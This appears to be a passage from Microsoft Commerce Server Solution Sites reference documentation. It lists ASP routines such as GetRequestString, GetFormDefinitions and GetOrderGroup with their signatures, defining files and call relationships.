GetObjectInstanceDictionary

GetPartnerAndCustomerServicePageAttributes

GetPasswordFieldDefinition

GetPurchaseOrderFieldDefinitions

GetSecurePagesDictionary

GetShipToAddressFieldDefinitions

GetSitePages

GetSiteStyles

GetStyles

GetSubmittedFieldValues

htmRenderDiscountMessageGroup

htmRenderDiscountsApplied

htmRenderDiscountsDescriptions

htmRenderPredictions

InitCacheManager

InitSitePipelines

iValidateSubmittedRegistrationData

listGetShownProductsInfo

RsToDict

RunMtsPipeline

ValidateSubmittedLoginData


GetDiscountDescription - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function searches the content list and returns the description of the discount that has been applied to the item.

Definition

Function GetDiscountDescription(
  byVal ciid,
  byVal oContentList
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

htmRenderDiscountMessageGroup

htmRenderDiscountsApplied

htmRenderDiscountsDescriptions


GetDWConnectionString - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the SQL Server OLEDB connection string for the Data Warehouse that corresponds to the Web site.

Definition

Function GetDWConnectionString()

Defined in File

include\global_data_lib.asp

Routines Called

None.

Called By

InitPredictor


GetErrorCount - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the error count in each order form.

Definition

Function GetErrorCount(
  byVal mscsOrderGrp,
  byVal sCollectionName
)

Defined in File

include\std_ordergrp_lib.asp

Routines Called

None.

Called By

CheckBasket

CheckOut

InitializeSummaryPage


GetErrorSource - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the site and function names of the error source.

Definition

Function GetErrorSource(
  byVal sFunctionName
)

Defined in File

include\std_util_lib.asp

Routines Called

FormatOutput

GetCommerceSiteName

Called By

JoinWebFarm


GetFieldsErrorDictionary - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Dictionary object. The keys are the names of the form post fields and the values are the associated field validation error messages. Examples of errors include empty fields where input is required, incorrect password length, invalid characters, and so on.

Definition

Function GetFieldsErrorDictionary(
  listFields,
  dictFieldVals
)

Parameters

listFields
A SimpleList object that contains the field definitions for this form. The SimpleList object contains a collection of Dictionary objects, where each of the Dictionary objects contains information about a form field. This parameter is one of the form field Dictionary objects initialized within the function GetFormDefinitions.
dictFieldVals
A Dictionary object that contains the form post values corresponding to the fields specified by the listFields parameter. The keys for these values are the field names, as specified in the listFields parameter. This parameter is constructed using the function GetSubmittedFieldValues.

Return Value

A Dictionary object that contains error message strings corresponding to the fields specified by the listFields parameter. The keys for these messages are the field names, as specified in the listFields parameter.

Defined in File

include\form_lib.asp

Routines Called

bMatchesPattern

GetDictionary

IsEntityInList

Called By

iValidateSubmittedAddress

iValidateSubmittedAddressForAddressBook

iValidateSubmittedRegistrationData

ValidateSubmittedCreditCardData

ValidateSubmittedLoginData

ValidateSubmittedPurchaseOrderData

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


GetFileSystemObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a Scripting.FileSystemObject object.

Definition

Function GetFileSystemObject()

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

GetINIString


GetFormDefinitions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Dictionary object of field definitions (including variables such as maximum and minimum field lengths, whether the field is required, and so on) for the following fields: Login, Registration, BillToAddress, ShipToAddress, AddressBookAddress, CreditCard, and PurchaseOrder.

Definition

Function GetFormDefinitions()

Defined in File

include\global_forms_lib.asp

Routines Called

GetAddressBookAddressFieldDefinitions

GetAddressFieldDefinitions

GetCreditCardFieldDefinitions

GetDictionary

GetLoginFieldDefinitions

GetPurchaseOrderFieldDefinitions

GetRegistrationFieldDefinitions

GetShipToAddressFieldDefinitions

Called By

Main (include\global_main_lib.asp)

Remarks

The GetMessageManagerObject function must be called before this function is called.


GetIISApplicationName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the Internet Information Services (IIS) application name.

Definition

Function GetIISApplicationName()

Defined in File

include\std_cookie_lib.asp

Routines Called

None.

Called By

GetCorrectedCookiePath

SetTestCookie


GetINIFileName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the file name for the .ini file containing the site configuration information.

Definition

Function GetINIFileName()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

GetRootPath

Called By

Main (include\global_main_lib.asp)


GetINIString - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the value of the specified key or "" (an empty string) if the key or its value cannot be found.

Definition

Function GetINIString(
  byVal sFileName,
  byVal sKey
)

Defined in File

include\global_siteconfig_lib.asp

Routines Called

GetFileSystemObject

GetKeyValue

Called By

Main (include\global_main_lib.asp)


GetInputParameters - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub retrieves the request parameters required by the GetShownProductsDetails function.

Definition

Sub GetInputParameters (
  ByRef sCatalogName,
  ByRef sCategoryName,
  ByRef nPageNumber,
  ByRef sProductID
)

Defined in File

template\discount.asp

Routines Called

GetRequestString

Called By

GetShownProductsDetails


GetKeyValue - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the value part of a key/value pair line in an INI file.

Definition

Function GetKeyValue(
  byVal sKeyValuePair,
  byVal sKey
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

GetINIString


GetLineItemsCount - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the number of items in the basket.

Definition

Function GetLineItemsCount(
  byVal mscsOrderGrp
)

Defined in File

include\std_ordergrp_lib.asp

Routines Called

None.

Called By

CheckBasket


GetListItemIndex - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the index of the specified item in the list.

Definition

Function GetListItemIndex(
  byVal sItem,
  list
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

InitializeCreditcardPage

Main (po.asp)


GetLoginFieldDefinitions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the login form field definitions.

Definition

Function GetLoginFieldDefinitions()

Defined in File

include\global_forms_lib.asp

Routines Called

FormatOutput

GetDictionary

GetPasswordFieldDefinition

GetSimpleList

Called By

GetFormDefinitions

GetRegistrationFieldDefinitions

Remarks

For best results, keep the RegExp object pattern specified in the Pattern entry of the form field schema dictionary the same as the one used in Business Desk and the Partner Services.

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


GetMachineBaseURL - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the base URL for this application, and specifically for this server.

Definition

Function GetMachineBaseURL()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

GetCommerceSiteInstallPoint

GetComputerName

iGetWebServerPort

Called By

InitCacheManager

Remarks

If you use Commerce Server Business Desk production refresh capabilities (present in BDRefresh.asp) from a browser outside the local area network (LAN), this function must be changed so that it returns a computer-specific URL that works outside the LAN.


GetMessageManagerObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function reads the MessageManager object entries from the file rc.xml.

Definition

Function GetMessageManagerObject()

Defined in File

include\global_messagemanager_lib.asp

Routines Called

GetRootPath

Called By

Main (include\global_main_lib.asp)


GetMonthCodesList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a list of numeric month codes.

Definition

Function GetMonthCodesList()

Defined in File

include\std_dates_lib.asp

Routines Called

GetSimpleList

Called By

GetCreditCardFieldDefinitions


GetMonthNamesList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a list of month names.

Definition

Function GetMonthNamesList()

Defined in File

include\std_dates_lib.asp

Routines Called

GetSimpleList

Called By

GetCreditCardFieldDefinitions


GetNewGuestUserProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

If the privacy options of the Site Configuration dictionary is set to PROFILE_GUEST_USER, this function creates a new user profile, sets the user_id_changed_by field to the newly generated user ID, sets the user_type field to GUEST_PROFILE, the account_status field to ACCOUNT_ACTIVE, the partner_desk_role field to ROLE_USER, and the date_created field to the current time. After the profile is created, the function passes it to the UpdateUserProfile routine to perform common functions the sites require when saving profiles.

Definition

Function GetNewGuestUserProfile()

Defined in File

include\std_profile_lib.asp

Routines Called

UpdateUserProfile

Called By

EnsureAccess

Main (login\_guest.asp)


GetObjectInstanceDictionary - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a Dictionary object. The Dictionary object contains an item called "Dictionary" that contains an empty Dictionary object. The Dictionary object also contains an item called "SimpleList" that contains an empty SimpleList object.

Definition

Function GetObjectInstanceDictionary()

Defined in File

include\std_util_lib.asp

Routines Called

GetDictionary

GetSimpleList

Called By

Main (include\global_main_lib.asp)


GetODBCTimeStamp - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function converts a date variant to an Open Database Connectivity (ODBC) timestamp format { ts 'yyyy-mm-dd hh:mm:ss' }.

Definition

Function GetODBCTimeStamp(
  varTime
)

Defined in File

services\include\profiles_common.asp

Routines Called

None.

Called By

sAddEndDate

sAddStartDate


GetOptOutList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the list ID of the opt-out list associated with the campaign item, or Null if there is no opt-out list associated with the campaign item.

Definition

Function GetOptOutList(
  conn_campaigns,
  listmanager,
  campitem_id
)

Defined in File

opt-out.asp

Routines Called

None.

Called By

OptOut


GetOrderGroup - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns an initialized OrderGroup object.

Definition

Function GetOrderGroup(
  byVal sOrderID
)

Defined in File

include\std_ordergrp_lib.asp

Routines Called

None.

Called By

GetBasketDetails

InitializeConfirmationPage

LoadBasket

Main (_recvpo.asp)

mscsGetOrderGroupWithDiscountsByID


GetOrderGroupManager - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns an OrderGroupManager object.

Definition

Function GetOrderGroupManager()

Defined in File

include\std_ordergrp_lib.asp

Routines Called

None.

Called By

MoveBasketItems

SaveBasketAsOrder


GetOrganizationAddresses - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function serves as a wrapper function to the GetAddresses function, passing the sOrgID parameter to retrieve the corresponding address as a Recordset object.

Definition

Function GetOrganizationAddresses(
  byVal sOrgID
)

Defined in File

include\addr_lib.asp

Routines Called

GetAddresses

Called By

None.


GetOrgAttributeFromID - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the value of the specified property for an Organization profile.

Definition

Function GetOrgAttributeFromID(
  byVal sAttributeName,
  byVal sID
)

Defined in File

services\include\get_profiles.asp

Routines Called

GetAttributeValueFromProfile

rsGetProfileByKey

Called By

bPaintACLForUser

SaveUserParentDNProperty

sGetParentDN


GetPartnerAndCustomerServicePageAttributes - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the properties for all Partner and Customer Services pages.

Definition

Function GetPartnerAndCustomerServicePageAttributes(
  MSCSSitePages
)

Defined in File

services\include\global_service_lib.asp

Routines Called

GetDictionary

Called By

Main (include\global_main_lib.asp)


GetPasswordFieldDefinition - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Dictionary object of field definitions for the password field in the new user and login forms. The field definitions include size constraint settings, invalid characters, and so on.

Definition

Function GetPasswordFieldDefinition()

Defined in File

include\global_forms_lib.asp

Routines Called

FormatOutput

GetDictionary

Called By

GetLoginFieldDefinitions

GetRegistrationFieldDefinitions

Remarks

For best results, keep the RegExp object pattern specified in the Pattern entry of the form field schema dictionary the same as the one used in Business Desk and the Partner Services.


GetPaymentMethodDisplayName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the display name for the specified payment method.

Definition

Function GetPaymentMethodDisplayName(
  byVal sPaymentMethod
)

Defined in File

include\payment.asp

Routines Called

None.

Called By

htmRenderPaymentOptionsForUser


GetPaymentMethodsForSite - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the payment methods for the site. This function must run after the MessageManager object is assigned.

Definition

Function GetPaymentMethodsForSite()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

GetSimpleList

IsBitValueSet

Called By

Main (include\global_main_lib.asp)


GetPaymentMethodsForUser - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the payment methods for the user.

Definition

Function GetPaymentMethodsForUser()

Defined in File

include\payment.asp

Routines Called

GetSimpleList

IsEntityInList

Called By

InitializeCreditcardPage

InitializePO

InitializeSummaryPage

Main (dispatch.asp)


GetPaymentPageFromPaymentMethod - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the friendly name of either the crdtcard.asp or po.asp page, depending on the value of the sPaymentMethod parameter.

Definition

Function GetPaymentPageFromPaymentMethod(
  byVal sPaymentMethod
)

Defined in File

include\payment.asp

Routines Called

None.

Called By

EnsureSupportForPaymentMethod

htmRenderVerifyWithForm

Main (dispatch.asp)


GetPipelineLogFile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the log file path along with the user ID in the file name.

Definition

Function GetPipelineLogFile(
  byVal s
)

Defined in File

include\std_pipeline_lib.asp

Routines Called

None.

Called By

CheckBasket

CheckOut

GetBasketDetails

InitializeSummaryPage

PreparePickShipForm

RunOrderPipeline


GetPriceAndCurrency - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub retrieves both the price and a formatted price string for a product.

Definition

Sub GetPriceAndCurrency(
  ByRef rsProducts,
  ByRef cyProductPrice,
  ByRef cyCurrency
)

Parameters

rsProducts
A Recordset object containing product information.
cyProductPrice
A currency variant containing the price of the product.
cyCurrency
A currency variant containing the price of the product as a string formatted to the locale.

Defined in File

include\catalog.asp

Routines Called

htmRenderCurrency

Called By

htmRenderProductsTable


GetProductQuantity - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function uses the RequestNumber method of the AppFrameWork object to retrieve and return the value of the PRODUCT_QTY_URL_KEY. If this value is Null, or outside the range of 1 to 999, the value is reset to -1.

Definition

Function GetProductQuantity()

Defined in File

_additem.asp

Routines Called

IsNumberInRange

Called By

Main (_additem.asp)


GetProfileFromDB - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub retrieves the specified profile from the Profiles store.

Definition

Sub GetProfileFromDB(
  ByRef rsProfile
)

Defined in File

include\std_profile_lib.asp

Routines Called

None.

Called By

EnsureUpToDateUserProfile

GetCurrentUserProfile

GetUserProfileByLoginName

rsGetProfile

rsGetProfileByKey


GetProfileService - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and initializes a ProfileService object.

Definition

Function GetProfileService()

Defined in File

include\std_profile_lib.asp

Routines Called

None.

Called By

None.


GetPurchaseOrderFieldDefinitions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Dictionary object of form field definitions, including name, size constraint settings, and so on. A billing currency field is created if an alternate currency can be used on the site.

Definition

Function GetPurchaseOrderFieldDefinitions()

Defined in File

include\global_forms_lib.asp

Routines Called

GetBillToCurrencyFieldDefinition

GetDictionary

GetSimpleList

Called By

GetFormDefinitions

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


GetQualifiedName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function constructs a qualified name from the group name and fieldname, resulting in a string of the form sGroupName.sFieldName.

Definition

Function GetQualifiedName(
  byVal sGroupName,
  byVal sFieldName
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

bInsertProfile

EnsureAccess

GetAddresses

GetUserInfo

htmRenderMenu

mscsNewRegisteredUserProfile

mscsTransferGuestUserProfile

PrepareLoginPage

PrepareLoginSection

PrepareNewUserPage

rsGetProfilesList

SaveReadOnlyProperty

sGetWhereClauseForCurrentUser

UpdateSelectActionPropertyName

UpdateUserPasswordProperty

ValidateSubmittedLoginData


GetRecordCount - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the number of records in the specified Recordset object.

Definition

Function GetRecordCount(
  ByRef rs
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

PrepareCatalogSection

PrepareDefaultPage


GetRegExp - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns the VBScript.RegExp object.

Definition

Function GetRegExp()

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

None.


GetRegistrationFieldDefinitions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Dictionary object of field definitions for the registration form.

Definition

Function GetRegistrationFieldDefinitions()

Defined in File

include\global_forms_lib.asp

Routines Called

GetLoginFieldDefinitions

GetPasswordFieldDefinition

Called By

GetFormDefinitions

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


GetRepeatStyle - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates an array with the number of array elements specified by the iCount parameter. Each array element is assigned the attribute string specified by the sAttList parameter. This is used to construct a table style array initialized to a common value.

Definition

Function GetRepeatStyle(
  byVal iCount,
  byVal sAttList
)

Parameters

iCount
A number indicating the size of the array to be created.
sAttList
A string to be assigned to each element of the array. The string is a list of space-separated attribute/value pairs to be associated with an HTML element.

Return Value

An array with the number of elements specified by the iCount parameter, where each element is assigned the value of the string contained in the sAttList parameter.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

htmRenderFillOutForm


GetRequestString - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function removes double quotes, and opening and closing element characters (< and >) from strings obtained through the Request object.

Definition

Function GetRequestString(
  byVal sName,
  byVal vtDefault
)

Defined in File

include\std_url_lib.asp

Routines Called

None.

Called By

AddSetClauseAndUpdateUserAccountControl

bCheckIfProfileExists

bClickedViewButton

bClickedViewOrSearchButton

bInsertProfile

bIsPropertyValueAdded

bProfileHasChanged

bSaveProfileDetails

bSaveReadWriteProperty

CatchErrorsForPaymentPages

FetchCategoryData

FetchData (_setadrs.asp)

formRenderChangePasswordPageContents

formRenderListPageContents

formRenderOrderContents

formRenderProfileSearchOptions

GetInputParameters

GetSearchDictionaryForThisPage

GetSpecificationSearchClauses

GetSubmittedFieldValues

GetUserAccountControl

htmCancelUpdatePasswordAction

htmRenderMenu

htmRenderMessageBoxForCancel

htmRenderMessageBoxForSave

htmRenderMessageBoxForSelect

InitializeConfirmationPage

listGetValidPropertiesForMultiEdit

listReConstructPropertiesSchema

Main (_additem.asp)

Main (_delitem.asp)

Main (_setadrs.asp)

Main (_setship.asp)

Main (dispatch.asp)

Main (product.asp)

Main (search.asp)

Main (stepsrch.asp)

PopulateOrderSearchCriteria

PopulateProfileSearchCriteria

PrepareCloseAction

PrepareCloseOrderDetailsAction

PrepareOrderList

PrepareSaveChangesConfirmation

PrepareSaveProfiles

rowRenderAdvancedSearchOptionsForOrders

rowRenderStatusInfo

rsGetOrderDetails

SaveAllSelectedProfiles

SaveCommonValueForAllSelectedRecords

SaveSAMAccountNameProperty

SaveUserAccountControlProperty

SaveUserPartnerDeskRoleProperty

sGetAction

sGetIDFromForm

sGetSelectActionPropertyName

sGetSelectedIDs

sGetSubAction

ShowRefinedSearch

tableRenderChangePasswordContents

tableRenderMessageBoxPageButtons

UpdatePasswordActionHandler

UpdateSelectActionPropertyName

ValidateFields

varGetValueFromRequestObject

Remarks

For more information about security issues, see Security Issues for Solution Sites.


GetRequestStringRange - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function removes double quotes, and opening and closing element characters (< and >) from strings obtained through the Request object.

This function also ensures that the requested string is within the length range specified by the iMinLength and iMaxLength parameters.

Definition

Function GetRequestStringRange(
  byVal sName,
  byVal vtDefault,
  byVal iMinLength,
  byVal iMaxLength
)

Defined in File

include\std_url_lib.asp

Routines Called

None.

Called By

None.

Remarks

For more information about security issues, see Security Issues for Solution Sites.


GetRequestType - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the type of request (POST or GET).

Definition

Function GetRequestType()

Defined in File

include\std_cookie_lib.asp

Routines Called

None.

Called By

None.


GetRootPath - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the file path to the root of the application.

Definition

Function GetRootPath()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

None.

Called By

GetINIFileName

GetMessageManagerObject

InitSitePipelines


GetSavedAddressID - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a shipping or billing address ID, depending on the value of the iAddrType parameter.

Definition

Function GetSavedAddressID(
  mscsOrderGrp,
  byVal iAddrType
)

Defined in File

addrform.asp

Routines Called

GetAnyLineItem

GetAnyOrderForm

Called By

SaveAddressToOrderGroup


GetSearchDictionaryForThisPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function stores and retrieves the search criteria for the current user and current page.

Definition

Function GetSearchDictionaryForThisPage(
  byVal sAction,
  ByRef sStatusField,
  ByRef iStatusID
)

Defined in File

services\include\lib.asp

Routines Called

GetRequestString

PopulateOrderSearchCriteria

PopulateProfileSearchCriteria

sGetThisPageProperty

Called By

htmRenderProfilesList

PrepareOrderList


GetSecurePagesDictionary - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the Dictionary object containing the names of the secure site pages.

Definition

Function GetSecurePagesDictionary()

Parameters

None.

Return Value

A Dictionary object containing the names of the secure site pages.

Defined in File

include\global_siteconfig_lib.asp

Routines Called

GetDictionary

Called By

Main (include\global_main_lib.asp)

Remarks

This routine must be modified so that any page requiring secure access is included in the returned Dictionary object.

For more information about security issues, see Security Issues for Solution Sites.


GetShippingMethodNameFromID - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the shipping method name corresponding to the specified shipping method ID.

Definition

Function GetShippingMethodNameFromID(
  byVal sSelectedMethodID
)

Defined in File

_setship.asp

Routines Called

None.

Called By

Main (_setship.asp)


GetShipToAddressFieldDefinitions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a SimpleList object containing field definitions for the ship-to-address field. Most of the SimpleList is populated by a call to the GetAddressFieldDefinitions function. A Dictionary object containing items such as Name, Label, InputType, and so on, is also included in the SimpleList.

Definition

Function GetShipToAddressFieldDefinitions()

Defined in File

include\global_addressbook_lib.asp

Routines Called

GetAddressFieldDefinitions

GetDictionary

Called By

GetFormDefinitions

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


GetShownProductsDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retreives the product details for the products shown on the page.

Definition

Function GetShownProductsDetails()

Defined in File

template\discount.asp

Routines Called

GetInputParameters

GetSimpleList

IsEntityInSet

oCachedDiscountProductInfo

Called By

Main (product.asp)


GetSimpleList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a SimpleList object.

Definition

Function GetSimpleList()

Parameters

None.

Return Value

An empty SimpleList object.

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

GetAddressBookAddressFieldDefinitions

GetAddressFieldDefinitions

GetBillToCurrenciesListItems

GetBillToCurrenciesListValues

GetCountryCodesList

GetCountryNamesList

GetCreditCardFieldDefinitions

GetCreditCardNamesList

GetLoginFieldDefinitions

GetMonthCodesList

GetMonthNamesList

GetObjectInstanceDictionary

GetPaymentMethodsForSite

GetPaymentMethodsForUser

GetPurchaseOrderFieldDefinitions

GetShownProductsDetails

GetYearsListItems

htmRenderDiscountsApplied

htmRenderPaymentOptionsForUser

htmRenderPredictions

listGetShownProductsInfo

listGetVariantPropertiesToShow

ValidateSubmittedLoginData


GetSiteConfigObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates, initializes, and returns a SiteConfig object.

Definition

Function GetSiteConfigObject()

Parameters

None.

Return Value

An initialized SiteConfig object.

Defined in File

include\global_siteconfig_lib.asp

Routines Called

None.

Called By

GetAppConfigObject

iGetWebServerPort

JoinWebFarm


GetSitePages - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function assigns friendly names to pages in the site. Friendly names are also used by PageSets and the GetSecurePagesDictionary function.

Definition

Function GetSitePages()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

AddPartnerAndCustomerServicePages

GetDictionary

Called By

Main (include\global_main_lib.asp)


GetSiteStyles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the site styles, which are used by HTML library functions.

Definition

Function GetSiteStyles()

Defined in File

include\global_ui_lib.asp

Routines Called

AddPartnerAndCustomerServiceStyles

GetDictionary

Called By

Main (include\global_main_lib.asp)

Remarks

For more information about how styles are used in the Solution Sites, see Customizing Styles.


GetSpecificationSearchClauses - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub generates search clauses.

Definition

Sub GetSpecificationSearchClauses(
  byRef sSearchHandle,
  byRef rsFields,
  byRef oCatalog,
  byRef arr1,
  byref arr2,
  byRef iConstraintFieldsCount,
  byRef iNonConstraintFieldsCount
)

Defined in File

stepsrch.asp

Routines Called

GetRequestString

Called By

PrepareSpecificationSearch


GetStatusFieldAndID - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub updates the status message for the "Save" action.

Definition

Sub GetStatusFieldAndID(
  byVal sSubAction,
  byVal bValidPostedValues,
  byVal bUpdated,
  byVal bProfileExists,
  byRef sStatusField,
  byRef sStatusID
)

Defined in File

services\include\edit_handlers.asp

Routines Called

None.

Called By

None.


GetStyles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Dictionary object containing the size attribute for standard text and password boxes.

Definition

Function GetStyles()

Return Value

A Dictionary object containing the size attribute for standard text and password boxes.

Defined in File

include\global_ui_lib.asp

Routines Called

GetDictionary

Called By

None.


GetSubmittedFieldValues - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves form post values from the request, based on the expected fields specified by the listFlds parameter, placing them in a Dictionary object where the corresponding keys are the names of the fields.

Definition

Function GetSubmittedFieldValues(
  listFlds
)

Parameters

listFlds
A SimpleList object that contains a collection of Dictionary objects. Each of the Dictionary objects contains information about a form field. This parameter is one of the form field Dictionary objects initialized within the function GetFormDefinitions.

Return Value

A Dictionary object that contains form post value strings corresponding to the fields specified by the listFlds parameter. The keys for these value strings are the field names, as specified in the listFlds parameter.

Defined in File

include\form_lib.asp

Routines Called

GetDictionary

GetRequestString

Called By

InitializeCreditcardPage

Main (addrform.asp)

Main (po.asp)

PrepareLoginPage

PrepareNewUserPage

SetupAddressForm

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


GetTableNameAndWhereClause - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub gets the database table name and uses a WHERE clause to search for a given organization ID.

Definition

Sub GetTableNameAndWhereClause(
  ByRef sTableName,
  ByRef sOrgIDWhereClause
)

Parameters

sTableName
A string containing the name of the database table storing a given profile type.
sOrgIDWhereClause
A string containing a WHERE clause to search for a given organization ID.

Defined in File

services\include\profiles_common.asp

Routines Called

sGetThisPageProperty

Called By

DeleteAllProfiles

rsGetProfilesList

SaveAllSelectedProfiles

UpdateUserAccountControlProperty


GetTicketInUrlArg - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the ticket from a URL string.

Definition

Function GetTicketInUrlArg()

Defined in File

include\std_url_lib.asp

Routines Called

GenerateURL

Called By

CacheFragment

LookupCachedFragment


GetTicketLocation - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the location of a ticket.

Definition

Function GetTicketLocation()

Parameters

None.

Return Value

An integer equal to one of the following values:

  • 0 - no ticket available (anonymous users or users authenticated to IIS)
  • 1 - the ticket is stored in the URL
  • 2 - the ticket is stored in a cookie

Defined in File

include\std_url_lib.asp

Routines Called

None.

Called By

SetupPage


GetUserAccountControl - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether to update the User Account Status and User Partner Desk Role properties.

Definition

Function GetUserAccountControl(
  ByRef sSQLStmt,
  ByRef bFieldSelected
)

Defined in File

services\include\save_all_profiles.asp

Routines Called

GetRequestString

sAddWhereClauseForActiveUsers

Called By

AddSetClauseAndUpdateUserAccountControl


GetUserAddresses - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the address for a user. It calls the more generic GetAddresses function to retrieve and return the required address as a Recordset object.

Definition

Function GetUserAddresses(
  byVal sUserID
)

